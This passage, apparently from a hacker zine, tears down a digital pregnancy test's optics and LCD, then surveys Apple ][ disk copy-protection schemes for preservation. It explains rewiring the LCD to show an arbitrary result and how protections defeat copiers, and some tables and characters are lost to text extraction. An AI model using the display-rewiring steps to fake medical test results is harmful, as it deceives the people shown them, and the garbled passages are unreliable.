“CVS Clear Results” test. The mechanical specifics may vary from
brand to brand, but the nicest part of the cheap injection-molded
plastic is that the shell parts are universally thin-walled and toleranced
to snap-fit together, which makes it easy to snap them apart without
visibly damaging the case.

Inside that case, there will be a circuit board that has another
multi-piece injection-molded assembly of ABS plastic, press-fitted into
mounting holes on the PCB. This is the test strip alignment/ejection

mechanism.28 For my purposes, I removed this semi-destructively, by
twisting off the retention pins on the back side of the PCB. I wanted to
save the housing for when I rebuilt the test with my own internal
electronics, to be virtually indistinguishable from the stock pregnancy
test but with added entrepreneurial functions. This strategic re-use of
injection molded parts and hard-to-design mechanisms adds that
special professional flair to demonstration prototypes.





Once you’ve got the holder off, you’ll uncover an activation switch
and the analog optical sensor (made of two photodiodes and three
LEDs), a PLL (used only for its voltage-controlled oscillator) IC, the
Holtek HT48C06 microcontroller, a 3V battery and a custom LCD.
You can either look up the battery type to confirm it’s 3V, or just read
the CE-mark label on the outside of the DPT that lists the part
number, lot data, confirmation that this test is made by SPD GmbH
out of Geneva, Switzerland (made in China), and that the test runs on
3V DC. Safety first, kids. Also convenient: if you peel up this label,
you’ll see holes in a pattern of the case that line up with un-tinned pads
on the PCB. These are the calibration and test points for the Holtek,
which means if you prefer firmware reverse-engineering to hardware
reverse-engineering, you can go fiddle with the insides from the outside.

By the by, that label isn’t tamper-evident. You can easily replace it,
but don’t get any ideas!

Schematic



Flick the little button, and you’ll see the whole test light up. The LEDs
strobe, the LCD thoughtfully blinks its “thinking” icon, and a scope or
DMM will show plenty of pin activity until the test errors out because
you just set it off without a valid test strip. I could have started probing
there, but I realized that an optical test requires a dark environment,
and I wanted to bring my test wires out through the conveniently
placed unit-test-and-programming holes on the case. My ultimate goal
was to test the unit under multiple conditions to determine the internal
logic. That meant making a schematic.

I don’t enjoy tracing out circuits with dark soldermask, and the
DPTs are relatively cheap, so I gathered up the pinouts for each IC and
then did my physical net trace using graphic design tools.

Step 1. Desolder all components from the PCB.

Step 2: Scrub the pads with solder wick to get them nice and flat.

Step 3. Using a razor blade or fine-grit sandpaper, sand off the
soldermask with loving attention on both sides of the PCB.

Step 4. Scan the PCB with high contrast.

Step 5. Import the scans into an illustration tool of your choice.
Color code the top and bottom scans to match your preferred layout
scheme. Drop circles on the vias—first. Then add the IC and passive
pins. Then add your traces. Use the vias to register the two images on
top of one another for a single layout trace.

Step 6. Annotate the trace with the reference designators from an
intact PCB. Add your own net names and pin labels. Use this to build a
reference schematic.

Let’s Skip the Firmware

Let’s walk through what this sweet little circuit is up to.

First off, the Holtek micro is always on, albeit in sleep mode. The
battery is sized for the shelf life of the device plus a couple of uses
(three strips ship with each one). When a test strip is placed in the
tester, it mechanically triggers the switch which a) flags an interrupt to



the microcontroller to wake it up out of sleep mode and b) enables
power to the PLL and sense circuitry that would not otherwise be
powered. If you remove the test strip mid-test, it cuts power to the
PLL and the micro will error out, making it a bit of a pain to work
with. Meh, meh, power-saving feature and fault reporting during
foreseeable misuse.

Once all supplies are up, the Holtek samples the state of the optical
sensor four times a second for twenty iterations, averaging the samples.
In order to sample the test strip, the Holtek drives the LEDs and then
reads back the output state of the photodetector, using the voltage-
controlled-isolator (VCO) sub-function of that phase-lock-loop IC.
The role of the VCO is to convert the analog voltage from the
photodetector into a square wave for easy edge counting. Higher
voltage implies a higher frequency of edges. Because the micro controls
the LED excitation timing, it can easily tell by edge counts what color
test strip the LEDs might be illuminating. It’s pretty nifty.

Because I wanted to build new electronics to fit inside the case of
the original DPT and reproduce a function similar to the original
hardware and firmware, I dove into the deeper specifics of how the
DPT detects whether one or two blue stripes show up in that plastic
clear-view window. The secret is stereoscopic vision enabled by time-
division multiplexing and the physical layout of the optosensor. The
three LEDs are interdigitated with two parallel photodiodes that are
the base current sources in a PNP common emitter amplifier (D4, D5,
Q2). The Holtek enables each of the 3 LEDs (D1, D2, D3) sequentially
using a 25% LOW duty cycle waveform at 10kHz. The LEDs are
strobed in a round-robin fashion and the Holtek samples the result via
the VCO.

When any one of the three LEDs is strobing, the induced current
in the photodiode causes the filter cap on the output of Q2 to charge.
The LED’s light causes charging, while discharging occurs while the
LED is off. Because the Holtek excites the LEDs intermittently, the
output of the photodetector is a sawtooth wave. The period of the
sawtooth is the LED drive interval, while the peak and trough of the



sawtooth wave correspond to the colorimetric intensity of the test
stripe that appears and/or the amount of mis-alignment between the
photodetector and the LED array.

But how does this produce stereoscopic vision, you ask? For the
same background test strip, when D1 is on, the sawtooth peak-to-peak
amplitude will be different than when D3 is on, giving the sensor some
ability to resolve spatial light sources. Because the LEDs are
independently addressable, it also means that the Holtek can
discriminate between a colored stripe hanging over D5 (stripe #1)
versus one hanging over D4 (stripe #2).

Also, all apologies for the fact that the reference designator order
for the diodes makes no physical sense. It’s not how I’d design the
board, but it apparently took eight revisions for the manufacturer to
get this far.

Schrödinger’s Rabbit

Okay, so if you’re pregnant, it works like this.

Just kidding, folks—here’s what the DPT is doing.

  Photodetectors Test Stripe

  D3 Dl D2 STI ST2



  Photodetectors Test Stripe

  D3 Dl D2 STI ST2

PREGO L H L CNTRLPREGO

CNTRLL H H CNTRL …

ERROR H H L … PREGO

BLANK H H H … …

Remember that a high PD voltage implies more edges counted by
the Holtek per excitation cycle. The Holtek uses this and sequencing to
tell if you’re pregnant. Based on the chemistry of the test stripe, the test
expects the CNTRL stripe to fire first. If only the CNTRL stripe fires
—congratulations, you aren’t pregnant! Again, due to chemistry, the
PREGO stripe ought to always fire second, if at all. If the stripes fire
out of order, that’s an error. If the PREGO stripe fires but the CNTRL
stripe doesn’t, that’s an error. If no stripe fires, that’s an error.

The factors that contribute to setting the DETECT vs. NO-
DETECT threshold for “how many edges do I expect to count if the
rabbit died” are (1) the distance from each of the three LEDs to each of
the two sensors, (2) the intensity of the LEDs, (3) the color of the
LEDs (as that corresponds to the sensitivity of the sensors for a given
wavelength of light), (4) the placement of the stripes (if they appear)
with respect to the two photodiodes, and (5) the color of the stripe and
the saturation of the stripe. Because process controls on LEDs are
fucking horrible, each test has to be individually calibrated after
assembly.

But that’s good news for us!

Hands-On Hacking

Let’s be honest, you don’t want to come up with a new set of guts to
shove into the case of a digital pregnancy test relabeled OxBEEF and OxCAFE
for maximum entertainment and confusion to potential investors! You



just want to have fun with the available raw materials that God and
your local drugstore have provided.

Each element of the LCD for the digital pregnancy test is custom,
just like an old Tamagotchi. That means one pin polarizes the layer
with the test logo artwork on it. A second layer covers “SEE LEAFLET” for
reporting error states, a third conveys “NOT” and a fourth, “PREGNANT.” A
given layer is active when the phase of the drive pin is 180 degrees out
of phase with the COMMON pin.

So, let’s go through the pins that make this happen. Pin 1 is the
common pin, against which the segment pins are pulsed to light a given
segment. Pin 2 lights the word “NOT”, pin 3 “PREGNANT”, pin 4 “SEE LEAFLET”,
and pin 5 lights the logo.

Pin 1 is the rightmost pin if you’re looking at the LCD face and the
pins are at the top of the package, opposite the reference designator.
Make sure to not just short pins—you actually have to lift and move
any pins you might be interested in swapping around. Cut a wire here,
tack in a jumper there. Mix and match, and get ready to have a ball!
Dance a jig! I mean, shoot, a fella could have a pretty good weekend in
Vegas with all that.

At the time I was doing this work, the Holtek micro wasn’t available
for purchase from Digikey or Mouser, so in a fit of intellectual
incuriosity, I didn’t bother to crack it. I can’t give you any information
on its internals other than what I’ve inferred from reverse-engineering



the rest of the circuit. I’d love to see it done, though—just because the
programming physical interface is obfuscated in the primary datasheet
doesn’t mean it’s impossible. If I were doing this twice, I’d start with the
ICE. The correct ICE tool for the job, assuming you’re into that, is the
CICE48U000006A. In the interest of speed, I based my redesign on a
PIC16F1933 and a character LCD that fit nicely in the same window as
the original.

The demo worked, but I never got paid. So, demo code and
hardware design files are available for any neighbor who wants to buy
me a beer.

Cheers!
–WOz







10:7 A Brief Description of Some Popular Copy-
Protection Techniques on the Apple ][ Platform

by Peter Ferrie (qkumba, san inc)

Ancient history

I’ve been. . . let’s call it “preserving” software since about 1983, albeit
under a different name. However, the most interesting efforts have been
recent, requiring skills that I definitely didn’t have until now: I am the

author of the only two-side 16-sector conversion of Prince of Persia,29

the six-side 16-sector conversion of The Toy Shop,30 the single file
conversion of Joust, Moon Patrol, and Mr. Do!, as well as the DOS and

ProDOS file-based conversions of Aquatron, Conan,31 The Goonies,
Jungle Hunt, Karateka, Lady Tut (including the long-lost ending from
side B), Mr. Do!, Plasmania, and Swashbuckler, to name a few. I am also
the only one to crack Rastan cleanly on the IIGS, just twenty-five years

late.32 Yes, I do 16-bit, too.

I’ve spent thirteen years writing articles for the Virus Bulletin
journal. My faithful readers will recognise the style.



Isn’t it ironic

4am declined to write this document himself, but his work and
approval inspired me to do it instead. Since his collection is so varied,
and his write-ups so detailed, they served as a rich source of
information, which I coupled with my own analyses, to fill in the gaps

for titles that I don’t have.33 Everyone knows already that he’s funny,
but he’s also quite friendly and very generous. Together, we corrected a
few mistakes in the write-ups, so I gave something back. I even consider
us friends now, so I think that I got the better deal.



While I don’t regret writing this paper, I do have to say that,
considering the time and effort that it required, he probably made a
wise decision. ;-)

I have tried to associate at least one example of a real program for
each technique, but in §10:7.12 you’ll find some nifty new protection
techniques that I’ve developed just for this paper.

Why why why?

Why the Apple ][? It’s because I grew up with the Apple ][, I learned to
code on the Apple ][, I know the Apple ][.

Why now? Because the disks that were fresh when the Apple ][ was
modern are failing, and if we do not work to preserve them now, some
of the titles will be lost forever.

This paper is dedicated to anyone who has an interest in helping to
preserve what’s left. I sincerely hope it may help to recognise and defeat
the copy-protection that they have come across.

Okay, let’s split

We can separate copy protection into two categories; they are either
What You Have or What You Know. What You Have protections are
generally protected disks, while What You Know protections are
generally off-disk, such as requests to type in a word from the manual.

What You Know protections come in several forms. One is an
explicit challenge with immediate effect; you must answer now to
continue. Another is an explicit challenge with delayed effect; if you
answer incorrectly now, the game becomes unplayable later. Yet
another is an implicit challenge; in order to proceed, you should
perform an action as described in the manual, but the game will appear

to be playable without it.

Infocom were infamous for their use of all three:



Starcross issued a direct challenge with immediate effect, and you
could not even leave the second room without typing the correct co-

ordinates from the star chart.34

Spellbreaker35 issued a direct challenge with delayed effect, along
the lines of “name the wizard who. . .” Any name from their word list is
accepted, but an incorrect answer results in the player receiving the
wrong key. This key cannot unlock a critical door much later in the
game, causing the character to be killed instead.

Border Zone made use of an implicit challenge. It required reading
the manual in order to know the correct words to excuse yourself

Oopzi Dazi!36—after bumping into someone, in order to establish
contact with the friendly spy. Failure to make contact within the
allotted time ended the game.

Brøderbund’s Prince of Persia had a variety of delayed effects,
depending on which of the several copy protection checks failed. One
of them included crashing immediately before showing the closing
scene upon winning the game. That is, after completing fourteen levels!

However, the What You Have protections are more interesting,
given the vast number of possibilities.

Accept your limitations



The first important component that we will consider in the Apple ][
is the MOS 6502 or 65C02 CPU. These CPUs have no separation of
code and data. That is, they are a Von Neumann, not Harvard
architecture. All memory and I/O addresses are executable, and
everything that is not in ROM is writable, including the stack.

Since the stack is writable directly, it introduces the possibility of
tricks relating to transfer of control. (§10:7.6.) Since the stack is
executable, it introduces the possibility of hosting code. (§10:7.10.)

The CPU has no prefetch queue, only a single prefetched byte of

the next instruction,37 as the last stage in the execution of the current
instruction. This introduces the possibility of self-modifying code,
including the next instruction to execute, because any memory write
will have completed before the prefetch occurs. (§10:7.7.)

Lay it out for me

The second important component that we will consider in the Apple ][
is the Disk ][ controller. The Disk ][ controller is a peripheral which is
placed in a slot. It exposes an interface through memory-mapped I/O,
so the various soft-switches can be read and written, just like regular
RAM. The interface looks like accesses to $C0sX, where s is #$80 plus the
slot times 16, and X is the switch to access.

The Disk ][ controller runs independently of the CPU. Once the
drive is turned on and spinning the disk, the drive will continue to spin
the disk until the drive is turned off again. The drive rotates the disk at
a fixed speed—approximately 300 RPM, and five rotations per second,
which works out to be 200ms per rotation. However, the speed varies



somewhat from drive to drive. For 5.25" disks, the data density is equal
across all tracks. At 300 RPM, each track holds 50,000 bits, which is
equal to 6,250 8-bit nibbles.

The data on a disk is simply a stream of bits to be read. For a 5.25"
disk, those bits are usually gathered into 16 sectors of 256 bytes each,
spread across 35 tracks—256 × 16 × 35 = 143, 360 bytes, or 140kb.
When reading from a disk, the Disk ][ controller shifts in bits at a rate
equivalent to one bit every four CPU cycles, once the first one-bit is
seen. Thus, a full nibble takes the equivalent of 32 CPU cycles to shift
in. After the full nibble is shifted in, the controller holds it in the QA
switch of the Data Register for the equivalent of another four CPU
cycles, to allow it to be fetched reliably. After those four CPU cycles
elapse, and once a one-bit is seen, the QA switch of the Data Register
will be zeroed, and then the controller will begin to shift in more bits.
As a result, programmers must count CPU cycles carefully to avoid
missing nibbles fetched by the controller.

The Disk ][ controller cannot tell you on which track the resides. It

also cannot tell you on which sector the head resides.38 As a result,
sectors are usually prepended with a structure known as the “address
field,” which holds the sector’s track and sector number. The controller
does not need or use this information. Only the boot PROM makes use



of it when requested to read a sector. Beyond that, the information
exists solely for the purpose of the program which interprets it.

Following the address field that defines a sector’s location on the
disk, there is another structure known as the “data field,” which holds
the sector body. One reason for the separate address and data fields is to
allow the sector body to be skipped, as opposed to stored and then
decoded, in the event that the sector address is not the desired one.
Another reason is that it allows a sector to be updated in-place, by
overwriting the data field only, instead of rewriting the entire track to
update all of the sectors.

(If the sector were a single structure, the CPU time required to
verify that the desired sector has been found is so long that the write
would begin after the start of the sector body and extend beyond the
original end of the sector, overwriting part of the following sector.)

Between the sectors are dead space, which can be filled with a
sequence of self-synchronizing values, timing bits, and protection-
specific bytes.

The two structures that define a sector are each bounded by a
prologue and an epilogue. The prologues for the address and data fields
are composed of three values. Two of those values are never used in the
sector body, to distinguish the structures from the sector body, and the
third value is different between the two structures, to distinguish them
from each other. The epilogues for the address and data fields are
composed of two values. One of those values is common to both
epilogues but never used in the sector body, to distinguish it from the
sector data.

The Disk ][ controller cannot even tell you where it is within the
bitstream. The problem is that the stream does not have an explicit
start and end. Instead, a specific sequence must be laid on the track, to
form an implicit start. That way, the hardware can find the start of the
stream reliably. These values are the “self-synchronizing values.” For
DOS 3.3, and systems with a compatible sector format, the self-
synchronising values are composed of a minimum of five ten-bit “FF”s.
A ten-bit “FF” is eight bits of one followed by two bits of zero. Self-



synchronising values are usually placed before both structures that
define a sector, to allow synchronisation to occur at any point on the
disk. However, this is not a requirement if read-performance is not a

consideration.39 That is, the fewer the number of self-synchronizing
values that are present, the more data that can be placed on a track.
However, the fewer the number of self-synchronizing values that are
present, the more the controller must read before it can enter a
synchronized state, and then start to return meaningful data.





Finally, the Disk ][ controller can write—but not reliably read-
arbitrary eight-bit values. Instead, for reading each eight-bit value,
only seven of the bits can be used—the top bit must always be set, in
order for the hardware to know when all eight bits have been read,
without the overhead of having to count them. (See §10:7.2 for a deeper
discussion about an effect made possible by the lack of a counter.) In
addition to requiring the top bit to be set, there should not be more
than two consecutive zero-bits in a row for the modern drive. (The
original disk system did not allow even that. See §10:7.2 for a deeper
discussion about the effect of excessive zeroes.)

[

Copy me, I want to travel]Copy me, I want to travel

Now that we understand the format of data on the disk, we consider
the ways in which that data can be copied.

First is the sector-copier. It relies on sectors being well-defined, and
requires knowing only the values for the prologues and epilogues. The
sectors are copied one at a time in sequential order, for each of the
tracks on the disk, discarding the data between the sectors, and writing
new self-synchronizing values instead. Some sector-copiers rely on
DOS to perform the writing. In order for that to work, the disk must
be formatted first, because that kind of sector-copier will not write new
address fields to the disk. Instead, it will reuse the existing ones, since
only the data field needs to be updated to place a sector on a track. In
any case, the sector-copier cannot deal easily with deviations from the
standard format, and requires a lot of interaction to copy sectors for
which the prologue and/or epilogue values are not constant. Some
sector-copiers can be directed to ignore the sectors that they cannot
read, but obviously this can lead to important data being missed.

Second is the track-copier. It also relies on sectors being well-
defined, with known the values for the prologues and epilogues.
However, it reads the sectors in the order in which they arrive, and

then writes the entire track in one pass,40 by itself. It shares the same



limitations as the sector-copier regarding reading sectors and
discarding the data between them, but it keeps the sectors in the same
order as they were originally, which can be important. (§10:7.2.)

Third is the bit-copier. Unlike the sector and track copiers, it
makes as few assumptions as possible about the data on the disk.
Instead, it treats tracks as the bitstream that they are, and attempts to

measure the length of the track while reading.41 It tries to write the
track exactly as it appears on the disk, including the data between the
sectors, in one pass. Some bit-copiers can be directed to copy the
additional zero-bits in the stream, but there is a limit to how reliably
these bits can be detected, and the method to detect them can be
exploited. Some bit-copiers can be directed to attempt to reproduce
the layout of the disk across track boundaries. See sections 10:7.2 and
10:7.3.

The most important point about copiers in general is that there is
simply no way to read data off of a disk with 100% accuracy, unless you
can capture the complete bitstream on the disk itself, which can be
done only with specialised hardware. There is no way for software
alone to read all of the bits explicitly and understand how the
controller will behave while parsing them

Super-super decoder ring

Despite the quite strict requirements regarding the format of data on
the disk, DOS introduced two additional requirements regarding the
format of data within a sector. The first requirement is that there must
not be more than one pair of zero-bits in the value. The second
requirement is that there be at least one pair of consecutive one-bits,
excluding the sign bit.

If we ignore the DOS requirements for the moment, and consider
instead all possible values which comply with the hardware
requirement to have no more than two consecutive zero-bits, then
there are 81 legal values.



If we introduce the first of the DOS requirements that there not be
more than one pair of zero-bits, then there are only 72 compliant
values.

If we introduce the second of the DOS requirements that there be
at least one pair of consecutive one-bits, excluding the sign bit, then
there are only 64 compliant values.



That leaves us with eight values for which there is not more than
one pair of zero-bits, but also not one pair of consecutive one-bits,
excluding the sign bit. DOS reserves some of these value for a separate
purpose.

That leaves us with seventeen values for which there are not more
than two consecutive zero-bits, which seems like a missed opportunity
for a better encoding:

Having exactly 64 entries in the table allows us to represent all of
the values using six bits. That leads us to an encoding method known as
“6-and-2 Group Code Recording (GCR)” or more commonly “6-and-
2” encoding.



In 6-and-2 encoding, an eight-bit value is split into two parts,
where the high six bits are separated from the low two bits. (The disk
system for which DOS 3.2 was first written had an additional
restriction that did not allow consecutive zero-bits, and so used 5-and-
3 encoding for the same purpose.) To encode an entire sector, each of
the two-bit values are gathered together, such that three of them form
another six-bit value in reverse order, and are stored first, followed by
each of the regular six-bit values. Prior to storing any of the values,
they must be transformed into the values in our table of 64 nibbles.
This is done by using the original value as an index into the nibble
table, and writing the value from the table instead.

When we place the original value beside the nibble value, the table
looks like this:

DOS reserved two values from our fourth table, #$AA and #$D5, for the
prologue signatures. These values are good candidates for the purpose
of identifying the headers, because they do not conform to the “at least
one pair of consecutive one-bits” criterion, and thus do not conflict
with the entries in the “nibbilisation” table. It is not a coincidence that
they have alternating bit values; #$D5 is #$55 without the sign bit. By
reserving these values, it ensures that the bitstream generated by
arbitrary sector data cannot contain a long string of ones (prevented by
reserving #$FF), or alternating zeroes and ones (prevented by reserving
#$AA and #$D5), regardless of the user’s data.



The third value of the prologue signature (#$96 or #$AD) need be
unique only between the headers, in order to distinguish between the
two. The combination of unique values and non-unique values still
produces a unique sequence.

DOS reserved one value from our fourth table, #$AA, for the second
byte of the epilogue signatures, for the same reason as for the prologue.
The first byte of the epilogue signature need not be unique with
respect to sector data (because the combination of unique values and
non-unique values still produces a unique sequence), but obviously it
must not match the first byte of the prologue, because the third byte of
the epilogue (intended to be #$EB) is written sometimes with only
limited success (and it is never verified for this reason), and so could
potentially be read as the third byte of a prologue instead, with
unpredictable results.

The decoding process requires a reverse transformation, via a table
which is typically filled with all of the values in a six-bit number. (See
the sections on Race Conditions and SpiraDisc for two counter-
examples.) The layout of the table is the special thing, though—the
nibbles that are read from disk are used as an index into the table, in
order to recover the original six-bit value. So the table has gaps
between some of the values, because the legal values of the nibbles are
not consecutive.

Note that convention is a powerful force. There is no reason for the
table to have the nibbilisation entries in that order, or to exclude #$AA or
#$D5 (or any of the other fifteen entries from the last table) from the set.
Further, according to John Brooks, it is possible to use all 81 values
from our first table, combined with a special encoding method, which
would increase the data density by 105.5%, and potentially even

more.42

10:7.1 Write-protection

The absolute simplest possible protection against a copy is to check if
the disk is write-protected. The vast majority of owners of duplicated



software won’t bother to write-protect the disk. If the disk is not write-
protected, then the image is considered to be a copy, rather than the
original.

Alien Addition uses this technique.

A more generic version is slightly longer.

10:7.2 Sector-level protections

Altered prologue/epilogue

This is one of the simpler techniques available, and was used by many
titles. Standard DOS 3.3 uses the sequence #$D5 #$AA #$96 to identify the
address field prologue, #$D5 #$AA #$AD to identify the data field prologue,
and #$DE #$AA to identify both of the epilogues. Of course, it is possible to
choose from the 17 values from our fifth table, for either the first two
bytes of the prologue values, or the second byte of the epilogue. It is
also possible to choose from among the 81 values from our first table,
for either the third byte of the prologue, or the first byte of the
epilogue.

Most commonly, only one value is changed in the prologue or
epilogue, and that same value is used for every sector on every track of
the disk.

Lucifer’s Realm uses this technique; the epilogue was changed from
#$DE #$AA to #$DF #$AA.



The Tracer Sanction extended the technique by carrying a table of
values, and using a different value for each track.

Masquerade extended the technique to the sector level, by requiring
that each even sector has one value, and each odd sector has another
value. The routine extracts bit zero of the sector number, and then
inverts it, to create the key which is applied to the identification byte.
Thus, even sectors use #$D5 (the standard value), and odd sectors use #$D4.
This is necessary because sector zero of track zero must have the
regular value to be readable by the boot PROM.

The Coveted Mirror used exactly the same technique—and almost
the exact same code—at only the track level.

Due to size limitations, the boot PROM does not verify the
epilogue bytes, allowing all sectors on all tracks—including the boot

sector itself—to be protected.43 The most common technique involved
altering the epilogue values to something other than the default value.
This protection cannot be reproduced by a sector-copier or track-
copier, which requires the default values to be seen, because they will
fail to copy the sector. Operation Apocalypse uses this technique.

Given that the boot PROM does not verify the epilogue bytes, a
very light protection technique is to change the epilogue values to
something other than the default values for sector zero of track zero
only, leaving all other sectors readable. This protection cannot be
reproduced by a sector-copier or track-copier which requires the
default values to be seen, because they will fail to copy the boot-sector,
leaving the disk unusable. Alien Addition makes use of this technique.

A common technique to defeat this protection is to ignore read
errors for all sectors, in the hope that it is caused by the non-default
epilogue values alone. However, given the degrading state of floppy
disks these days, ignoring read errors can hide the fact that the disk is
truly failing.

The address field contains more than just the track and sector
numbers. It also contains a volume number. This value can be used as a
quick method to determine which disk from a set is currently inserted
into the drive. However, support for it—even in DOS—is poor. So



many programs, including DOS itself, assume that the volume number
is the default value. When it is changed, the read fails. By hard-coding
the new value in DOS, the disk will be readable only by itself. Algebra
Arcade uses this technique.

This technique can also be used in a slightly different way. Since
each sector can have its own volume number, any value can be put
there, as long as the program is aware of that fact.

Randamn sets the volume number to a checksum calculated from
the current track and sector, and hangs if the values do not match.

Both the address field and data field contain a checksum of the data
that precede it, prior to the epilogue. The checksum algorithm is
usually a rolling exclusive-OR of each of the bytes, with a zero seed.
However, there is no requirement that either of these things is used, for
sectors other than sector zero of track zero. For other sectors, the seed
can be set to any value, and the algorithm can be a cumulative ADD or
anything else at all. This protection cannot be reproduced by a sector-
copier or track- copier which relies on the regular algorithm, because
the disk will appear to be corrupted.

Hellfire Warrior uses a slight variation on this technique. It
maintains a counter at address $40, which coincides with the track
number which is stored by the boot PROM. In order to break out of
the loop that reads sectors into memory, the program requests the boot
PROM to read a sector with an intentionally bad checksum. This
causes the boot PROM to rewrite the value at address $40. The new
value is exactly what the program requires as the exit condition. This
protection cannot be reproduced by a sector-copier or track-copier,
because they will fail to copy this sector, resulting in a disk that has



only sectors with good checksums. The disk will not boot because it
will never exit the loop.

The volume number is normally an eight-bit value. For efficiency
of encoding it, DOS uses a 4-and-4 encoding, where the four odd bits
are separated from the low even bits, and converted to nibbles. To
recombine them, it is a simple matter to shift the nibble holding the
odd bits (“abed”) one to the left, resulting in an encoding that looks
like “alblcldl,” and then to AND the result with the nibble holding the
even bits (“efgh”), whose encoding that looks like “1e1f1g1h.” This
method requires sixteen bytes to describe the address field. Since the
track, sector, and checksum, are known to fit into six bits each, it is easy
to see that if the volume number is disregarded, a 6-and-0 encoding can
be used instead. This method requires only four nibbles to describe the
address field. Algernon uses this technique.

The entries in the address field have a defined order because the
boot PROM needs to read them to identify sector zero of track zero,
and any other sector which the PROM is asked to read. However, it is
possible to change the order of the entries for other sectors on the disk,
and then to read the sectors manually.

Fewer sectors

The major reason for using 16 sectors per track is because that is the
maximum number that can fit within the standard format created by
DOS 3.3. DOS 3.2 supported only 13 sectors per track, because of the
limitation of the hardware regarding consecutive zeroes. Copy
protection techniques are free to use fewer sectors than either of those
values.

Wavy Navy uses ten sectors per track, while Olympic Decathlon
uses eleven and Karateka uses a dozen. The sectors in these examples



are all the regular size, but encoded in a wasteful manner. (Primarily
the 4-and-4 encoding was used because the decoder is very small, but
sometimes 5-and-3 because the decoder looks weird when compared
with the more familiar 6-and-2 encoding.) The wasteful encoding is the
reason for the reduced sector count; there really isn’t more room for
more sectors.

More sectors

The standard DOS 3.3 format disk uses 16 individual sectors per track,
with relatively large gaps between the sectors. Consider how much
space would be available if those sectors were combined into a single
large sector, with a single field that combines both address (specifically,
only the track number) and data fields. Yes, it would require reading the
entire track in order to find the field again once the track had been
verified, but for some applications, performance is not that critical.
This is what Infocom did, on programs such as A Mind Forever
Voyaging. Once the track had been found, and the data field found
again, then the program read (and discarded) sectors sequentially until
the required one was found. Again, if the performance is not that
critical, the fact that the routine can fetch only one sector at a time is
not an issue. In fact, the implementation works well enough for the
text-adventure scenario in which it was used. Since the user will be
reading the text while additional text is loading, the time required for
that loading goes mostly unnoticed.

Consider how much space would be available if those gaps were
reduced to the minimum of five self-synchronizing values before the
address field prologue, with just a few bytes of gap between the address
and data headers. Then reducing the prologue byte count from three
to two, and the epilogue byte count from two to one. Consider how
much space would be available by merging groups of sectors. If you
converted the track into six sectors of three times the size, you would
have RWTS18. This is a good compromise between speed and density.
On one side, having fewer sectors means less processing; and on the
other side, having more sectors means less latency to find a sector. The



RWTS18 routine also supports “read scattering” by assigning a
dummy write address to the pages that aren’t needed.

This second technique was used very heavily by Brøderbund, on
programs such as Airheart (and even three years later, on Prince of
Persia), but other companies made use of it, too, such as Infogrames in
Hold-Up. Interestingly, in the case of Airheart, after compressing the
title screen to reduce its size on the disk, the rest of the game fit on a
regular 16-sector disk.

Big sectors

There is no requirement to define multiple sectors per track. It is

possible to define a single sector that spans the entire track.44 However,
there can be a significant time penalty while reading such a track,
because it requires up to one complete rotation in order to find the
start of the sector.

Lady Tut uses a single sector per track, at a size equivalent to eleven
256-byte sectors.

Encoded sectors

As noted previously, there is no reason for a disk to use our sixth table
—there is no reason to have the nibbilisation entries in that order, nor
even to use those values at all. Any alteration to the table results in a
disk that can be copied freely, but whose contents cannot be read from
the outside. Further, the DOS on such a disk cannot write files from the
inside to the outside. The reason why the read would fail is because the
standard table would be applied to data that requires the alternative
table to decode, resulting in the wrong decoding. The reason why the
write would fail is because the alternative table would be applied to
data that requires the standard table to encode, resulting in the wrong
encoding.



Figure 10.17: Floppy sectors interleaving.

Maze Craze Construction Set uses an alternative nibble table—all
of the values from #$A9-FF from our first table. These values might have
been chosen because they provide the least sparse array when used as
indexes.

Bop’N Wrestle uses the regular nibble table and a standard DOS
3.3, but in reverse order.

Duplicated sectors

The address field carries the sector number, but the controller does not
need or use this information, except when the boot PROM is requested
to read a sector. Therefore, it is possible to have multiple sectors with

the same number.45 There are numerous ways in which they could be
distinguished, such as by the volume number. A protection technique
could set every sector number to the same value in the address field. It
could set them all to zero, provided that the checksum algorithm is
changed, so that the boot PROM will read successfully only the true
sector zero, in order to boot the disk. It could also use the volume
number from the address field as the page number in which to write the
sector data. This would be a very compact way to load data without the
need to pass the address as a parameter to the loader.

Math Blaster has two sectors numbered zero on track zero. The
program distinguishes between them by examining the first nibble after



the address field epilogue, but the checksum of the second sector zero
also fails verification, which is why the boot PROM does not see it.
This protection cannot be reproduced by a sector-copier or track-
copier, because those copiers will write only a single sector zero to a
track. It is unpredictable which of the two sector zeroes would be
written, but even if the true one is chosen, the copy is revealed by the
program missing the duplicated sector.

Sector numbering

The address field carries the sector number, but the controller does not
need or use this information, except when the boot PROM is requested
to read a sector. Therefore, it is possible to have sectors whose number

is not in the range of zero to fifteen.46 Any eight-bit value can be used,
as long as the program is expecting it. This protection cannot be
reproduced by a sector-copier, because the copier will not copy those
sectors at all.

Sector location

The address field carries the track and sector number, but the
controller does not need or use this information, except when the boot
PROM is requested to read a sector. Therefore, it is possible for a
sector to “lie” about its location on the disk. For example, the address
field of sector three on track zero could label itself as sector zero on
track three. This protection cannot be reproduced by a sector-copier
which relies on DOS to perform the write, because they will not
duplicate this information, because DOS will fill in the address field by
itself when placing the sector on the disk. Thus, a program that seeks to
a track that contains “misplaced” sectors will not find any misplaced
sectors, or will receive the wrong content instead.

Discover uses this technique; it changes the identity of one
particular sector in the sector interleave table, on one particular track.

Synchronised sectors



Since the approximate rotation speed of the drive is known to be
roughly 300 RPM, it becomes possible to place sectors at specific
locations on a track, such that they have a special position relative to
other sectors on the same track. This is difficult to reproduce because
of the delay that is introduced while a sector-copier is writing the data.

Hard Hat Mack takes this to the extreme, by requiring that one
track has all 16 sectors in incremental order. This protection is highly
unlikely to be reproduced by using a sector-copier, because after
factoring in the rotation speed of the drive, the next sector is more
likely to be placed halfway around the disk.

Bad sectors

Some protections rely on the fact that intentionally bad sectors should
return a read error. For example, checksum mismatch in the simplest
case, but potentially physical damage could be used, too.

Drelbs uses this technique. This protection cannot be reproduced
even with a bit-copier, because the copy will have no sectors that
cannot be read.

Dead-space bytes

The data for a sector is well defined, but apart from the optional
presence of the self-synchronizing values, the data between sectors is
not defined at all. As a result, it is not often copied, either. It is possible
to place specific counts of specific values in this location, which can be
checked later. A program can detect a copy by the absence or wrong
count of the special values.

Randamn checks the value of the byte immediately before the
prologue of a particular sector, and reboots if the value looks like a self-
synchronizing value. (A bit-copier might insert this values when asked



to match the track length, and a sector-copier would always insert the
value.)

Binomial Multiplication counts the number of values that appear
between the address field epilogue and the data field prologue, and
between the data field epilogue and the next sector address field
prologue, for all of the sectors on a particular track. This protection
cannot be reproduced by a sector-copier or a track-copier, because
those copiers will discard the original data between the sectors.

Timing bits

